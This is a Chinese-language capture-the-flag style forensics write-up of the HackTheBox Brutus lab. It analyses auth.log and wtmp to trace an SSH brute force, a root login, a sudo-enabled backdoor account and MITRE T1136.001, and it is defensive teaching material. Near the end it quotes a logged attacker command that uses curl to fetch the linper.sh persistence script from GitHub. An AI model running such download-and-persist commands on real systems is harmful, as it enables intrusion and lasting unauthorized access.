Unix系统中 auth.log 和 wtmp 日志的利用
这次做一个应急响应Brutus,是来自HTB的Brutus靶场,应该是能够很好的帮助我们理解auth.log和wtmp两个日志
附件如下:
解压密码:hacktheblue
sha256:dd7742375a19b6ccc4323058224460a5220c43d4e9f7565b653bd369b8c46b2d

操作场景:
在这个简单的 Sherlock 案例中,你将熟悉 Unix 系统中的 auth.log 和 wtmp 日志。我们将探讨一个场景:一台 Confluence 服务器通过其 SSH 服务遭到暴力破解攻击。攻击者在成功获取服务器访问权限后,进行了一系列其他操作,这些活动我们可以通过分析 auth.log 日志进行追踪。尽管 auth.log 主要用于分析暴力破解行为,但在本次调查中,我们将深入挖掘这一日志文件的全部潜力,包括提权、持久化驻留,甚至部分命令执行过程的可见性。知识点:
学到的技能
Unix日志分析
wtmp分析
暴力破解活动分析
时间线创建
上下文分析
后渗透分析
标签
Linux取证
数字取证与事件响应(DFIR)
初步分析:
我们获得了两个证据文件:Linux认证(auth)日志和WTMP输出。首先简要说明这些日志文件是什么,它们的用途以及所包含的字段和信息。
auth.log
auth.log 文件主要用于跟踪认证机制。每当用户尝试登录、切换用户或执行任何需要认证的操作时,都会在此日志文件中记录一条条目。这包括涉及 sshd(SSH 守护进程)、sudo 操作以及需要认证的 cron 任务等活动。
auth.log 中的字段
auth.log 中的条目通常包含以下字段:
日期和时间:事件发生的时间戳。
主机名:发生事件的系统的名称。
服务:报告事件的守护进程或服务名称,例如 SSH 守护进程。
PID:事件记录时该服务的进程 ID(PID)。
用户:参与认证过程的用户名。
认证状态:详细说明认证尝试是成功还是失败。
IP 地址/主机名:对于远程连接,指尝试连接的客户端的 IP 地址或主机名。
消息:有关事件的详细信息,包括与认证尝试相关的特定错误消息或代码。
下面展示了一个示例条目:
Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2上述条目显示,在主机 exampleserver 上,有一个针对用户名为“admin”的无效用户的密码登录失败尝试,来源 IP 地址为 192.168.1.101,通过端口 22(SSH)进行。
wtmp
wtmp 文件记录了系统上所有的登录和注销事件。它是一个二进制文件,通常位于 /var/log/wtmp。可以使用 last 命令读取该文件,从而查看用户登录、注销、系统重启以及运行级别变更的历史记录。
wtmp 中的字段
由于 wtmp 是一个二进制文件,因此无法像 auth.log 那样直接阅读。但通过 last 等工具查看时,会显示以下信息:
用户名:正在登录或注销的用户的名称。
终端:终端或 tty 设备名称。远程登录通常显示 SSH 或 telnet 连接详情。
IP 地址/主机名:对于远程登录,显示用户设备的 IP 地址或主机名。
登录时间:用户登录的日期和时间。
注销时间:用户注销或会话结束的日期和时间。
持续时间:会话的持续时间。
以下是 'last' 命令输出的一个示例:
sebh24 pts/0 192.168.1.100 Sat Mar 10 10:23 - 10:25 (00:02)这表示用户 sebh24 从 192.168.1.100 登录,会话总共持续了 2 分钟。
需要注意的是,当取证人员系统的 CPU 架构与 wtmp 文件来源系统的架构不同时,使用 last 或 utmpdump 等内置工具可能会出现问题。因此,我们提供了一个名为 utmp.py 的工具(原始来源自 https://gist.github.com/4n6ist/99241df331bb06f393be935f82f036a5)以协助调查。
使用该工具的步骤如下:
python3 utmp.py -o wtmp.out wtmp这将生成一个可读的文本文件 wtmp.out,可用 cat 或 less 查看。

理解 utmp.py 的输出
utmp.py 的输出包含从 wtmp 文件的二进制格式中解码出的多个字段。以下是输出中关键字段的简要说明:
类型(Type):表示记录的类型,例如用户登录或注销、系统启动或关机事件。
PID:与事件相关的进程 ID。
Line:用户登录所使用的终端线路(tty 或 pts)。
ID:与 Line 字段相关的一个短标识符。
User:与事件关联的用户名。
Host:用户访问系统时的主机名或 IP 地址(如适用)。
Exit:会话或进程的退出状态。
Session:会话 ID。
sec:事件的时间戳。注意:此时间戳将使用你本地系统的时区显示,而非 wtmp 文件来源系统的时区。在分析事件时间线时需对此进行调整。
usec:与登录或注销事件相关的时间戳的微秒部分。
Addr:附加的地址信息,在远程登录情况下可能是 IP 地址。
auth.log 和 WTMP 对于系统管理员和安全专业人员来说都至关重要,可用于监控和审计认证尝试、用户活动以及系统访问模式。它们有助于识别未授权的访问尝试,确保符合安全策略,并协助调查安全事件。
现在我们对所提供的取证文件有了更深入的理解,接下来开始深入分析 auth.log。我们在自己喜爱的文本编辑器中打开 auth.log,并准备回答相关问题。
题目:
1.分析auth.log。攻击者使用哪个IP地址进行暴力攻击?
要在 auth.log 中发现暴力破解攻击,需查找短时间内多次重复出现的“Invalid user”和“Failed password”条目。这些条目表示登录失败的尝试,通常使用了错误的用户名或密码。

在提供的日志中,来自单一IP地址65.2.161.68的多次尝试表明存在暴力破解攻击。特别需要注意的是这些时间戳,它们全部集中在几秒之内。在排查暴力破解攻击时,一个很好的经验法则是思考:“人类是否可能手动如此频繁地进行认证尝试”。如果答案是否定的,则建议进一步调查。
答案为:65.2.161.68
2.暴力破解成功,攻击者成功获取了服务器上一个账户的访问权限。该账户的用户名是什么?
我们已经确认了执行暴力破解攻击的 IP 地址,但需要了解威胁行为者(TA)是否成功。暴力破解攻击成功后,“Accepted password” 这一关键词表示登录成功。

在上面的图片中,我们可以确认 root 账户的成功认证是同一暴力破解攻击的一部分,这表明他们已经攻破了系统上权限最高的用户。在同一秒,我们还看到会话被关闭,这进一步表明使用了暴力破解工具。
暴力破解工具是一种软件程序或脚本,旨在系统地尝试所有可能的字符或值组合以找到正确的解决方案,通常用于密码破解或加密领域。暴力破解是一种穷举方法,会尝试所有可能的选项,直到找到正确的为止。
以下是一些用于认证的暴力破解工具示例:
九头蛇(Hydra)
美杜莎(Medusa)
布鲁图斯(Brutus)
答案为:root
3.确定攻击者手动登录服务器并建立终端会话以执行其目标时的 UTC 时间戳。登录时间与身份验证时间不同,可以在 wtmp 文件中查找。
攻击者最初使用自动化工具进行暴力破解攻击。然而,在获取到正确的凭据后,他们手动进行了认证。我们可以在如下详细说明的 auth.log 文件中确认这一点:
我们确认威胁行为者于 06:32:44 使用 root 账户进行了认证,但在本次特定分析中,我们将使用 WTMP artifact,因为它能为我们提供攻击者连接交互式终端的时间,而不仅仅是密码被接受的时间。在继续之前,请查看以下关于 WTMP 和 auth.log artifact 之间时间差异的简要说明。
查看 wtmp 的输出,我们能够确认威胁行为者于 06:32:45 成功打开了一个交互式终端会话。
如上所述,此时间戳将使用我们的系统时区显示。我们可以通过运行 date 命令来检查这一点:

由于我们的系统时区是 UTC,因此无需调整,并可以确认这就是我们的答案。

答案为:2024-03-06 06:32:45
4.SSH 登录会话会被跟踪,并在登录时分配一个会话号。问题 2 中分配给攻击者用户帐户会话的会话号是多少?
每个 SSH 登录会话都会被分配一个唯一的会话编号用于追踪,该编号可以在 auth.log 文件中查看,并且可以通过查看会话打开日志行紧随其后的日志行找到。
这个题不知道是不是我的理解问题,他问的是爆破出来的用户名还是说是第一次手动登录的用户名
如果是爆破出来的用户名的会话号那应该是34,但是当然可能说是攻击者登陆的会话号,爆破的会话号可能不算吧,如下图所示

如果是说是第一次手动登录的用户名那应该是说的是37,如下图所示

根据认证日志,分配给攻击者登录(使用被攻破的 root 账户)的会话编号是 37。
反正说答案是37了
5.攻击者在服务器上添加了一个新用户作为其持久化策略的一部分,并赋予此新用户帐户更高的权限。这个帐户的名称是什么?
攻击者通常会创建新用户账户以保持持久访问。在此情境下,“持久访问” 指的是攻击者在已获得初始访问权限后,仍能在较长时间内维持对被攻破系统或网络的访问或控制能力。本质上,这是为了确保能持续未授权访问目标环境。
添加新用户是维持持久访问的有效方法,且无需引入任何额外工具,本质上是 “就地取材”。在 auth.log 中,可查找以下关键词:
useradd - 表示已向系统添加用户。
usermod - 表示修改用户权限或所属组。
groupadd - 表示创建了新用户组。
日志显示创建了一个名为cyberjunkie的新用户,该用户随后被添加到sudo组以获得提升的权限。在Linux系统上,sudo组是一个特殊组,赋予用户以管理员权限(也称为超级用户或root权限)运行命令的能力。“sudo”一词代表“超级用户执行”。 默认情况下,Linux系统的设计将普通用户账户与全能的管理员账户(称为root账户)分开。root账户对整个系统拥有不受限制的访问权,包括修改系统文件、安装软件和执行其他关键操作的能力。然而,通常认为以root用户身份执行日常任务存在风险,因为错误或恶意操作可能会造成严重后果。 sudo命令允许授权用户暂时以root用户身份执行特定命令。这些用户通常是sudo组的成员。通过使用sudo,管理员可以在维护整体系统安全性的同时,将特定权限委派给普通用户。属于sudo组的用户被称为sudo用户。 要授予用户sudo权限,管理员需要将该用户添加到sudo组。这可以通过修改系统的用户管理配置文件或使用带有适当选项的usermod命令来完成。 一旦用户被添加到sudo组,他们就可以通过在命令前加上sudo来执行具有提升权限的命令。
答案为:cyberjunkie
6.通过创建新帐户用于持久化的 MITRE ATT&CK 子技术 ID 是什么?
我们了解到,创建新用户账户是实现持久化的一种方法,且该账户是受 compromise 主机上的本地账户。我们现在需要利用MITRE ATT&CK框架将其转化为一个技术ID。MITRE ATT&CK框架对攻击者使用的各种战术和技术进行了分类。我们可以利用企业矩阵,在“持久化(Persistence)”类别下找到“创建账户(Create Account)”技术,其详细信息如下,技术ID为T1136。
让我们深入研究这一技术,查看其子技术。子技术使我们能够更细致地剖析攻击。例如,可能创建的账户有多种类型,在下方截图中我们可以看到有域账户、本地账户和云账户。在当前调查中,我们已知涉及的是本地账户,因此对应的子技术是T1136.001。

答案为:T1136.001
7.根据 auth.log,攻击者的第一次 SSH 会话在什么时间结束?
在问题 4 中,我们发现会话 ID 为 37。我们可以在 auth.log 中确认,会话 37 于 06:37:24 关闭。

可能不知道为啥是2024,这个在warm的分析中有提到过可以使用
python3 utmp.py -o wtmp.out wtmp答案为:2024-03-06 06:37:24
8.攻击者登录了他们的后门账户,并利用其更高的权限下载了脚本。使用 sudo 执行的完整命令是什么?
尽管auth.log并非主要用于跟踪命令执行,但使用sudo运行的命令会被记录,因为它们需要进行身份验证。

Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh日志显示,攻击者使用sudo执行了一条命令,从GitHub仓库下载了一个脚本。完整命令为:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh。此操作表明,攻击者意图部署额外工具或恶意软件,以进行进一步的利用或维持持久访问。
答案为:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh